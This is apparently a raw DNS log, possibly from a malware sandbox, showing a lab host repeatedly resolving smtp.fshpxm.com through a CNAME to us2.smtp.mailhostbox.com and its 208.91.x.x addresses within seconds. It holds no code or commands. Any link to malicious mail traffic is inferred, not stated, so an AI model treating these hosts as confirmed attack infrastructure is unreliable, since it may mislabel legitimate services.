Apr 18, 2024 10:24:56.314011097 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.314011097 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.421336889 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:56.421336889 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.421336889 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.421336889 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.421336889 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.526901007 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:56.526901007 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.526901007 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.526901007 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:56.526901007 CEST	8.8.8.8	192.168.2.22	0x56a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:58.923811913 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:58.923811913 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:58.923811913 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:58.923811913 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:58.923811913 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.029186010 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:59.029186010 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.029186010 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.029186010 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.029186010 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.134315014 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:59.134315014 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.134315014 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.134315014 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:59.134315014 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:04.625153065 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:04.625153065 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:04.625153065 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:04.625153065 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:04.625153065 CEST	8.8.8.8	192.168.2.22	0xfa89	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.615554094 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:05.615554094 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.615554094 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.615554094 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.615554094 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.720624924 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:05.720624924 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.720624924 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.720624924 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.720624924 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.826044083 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:05.826044083 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.826044083 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.826044083 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.826044083 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.931366920 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:05.931366920 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.931366920 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.931366920 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:05.931366920 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:06.036643982 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:06.036643982 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:06.036643982 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:06.036643982 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:06.036643982 CEST	8.8.8.8	192.168.2.22	0x46b0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.583297014 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:07.583297014 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.583297014 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.583297014 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.583297014 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.689182997 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:07.689182997 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.689182997 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.689182997 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.689182997 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.794476032 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:07.794476032 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.794476032 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.794476032 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.794476032 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.899600983 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:07.899600983 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.899600983 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.899600983 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:07.899600983 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.004851103 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:08.004851103 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.004851103 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.004851103 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.004851103 CEST	8.8.8.8	192.168.2.22	0x6167	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.634907007 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:08.634907007 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.634907007 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.634907007 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.634907007 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.739793062 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:08.739793062 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.739793062 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.739793062 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.739793062 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.844893932 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:08.844893932 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.844893932 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.844893932 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.844893932 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.949970961 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:08.949970961 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.949970961 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.949970961 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:08.949970961 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:09.055126905 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:09.055126905 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:09.055126905 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:09.055126905 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:09.055126905 CEST	8.8.8.8	192.168.2.22	0x379d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.101432085 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.101432085 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.101432085 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.101432085 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.101432085 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.206696033 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.206696033 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.206696033 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.206696033 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.206696033 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.311572075 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.311572075 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.311572075 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.311572075 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.311572075 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.407010078 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.407010078 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.407010078 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.407010078 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.407010078 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.416579962 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.416579962 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.416579962 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.416579962 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.416579962 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.512345076 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.512345076 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.512345076 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.512345076 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.512345076 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.522171021 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.522171021 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.522171021 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.522171021 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.522171021 CEST	8.8.8.8	192.168.2.22	0x20b1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.625241995 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.625241995 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.625241995 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.625241995 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.625241995 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.730746984 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.730746984 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.730746984 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.730746984 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.730746984 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.836072922 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:25:10.836072922 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.836072922 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.836072922 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:10.836072922 CEST	8.8.8.8	192.168.2.22	0x43d1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
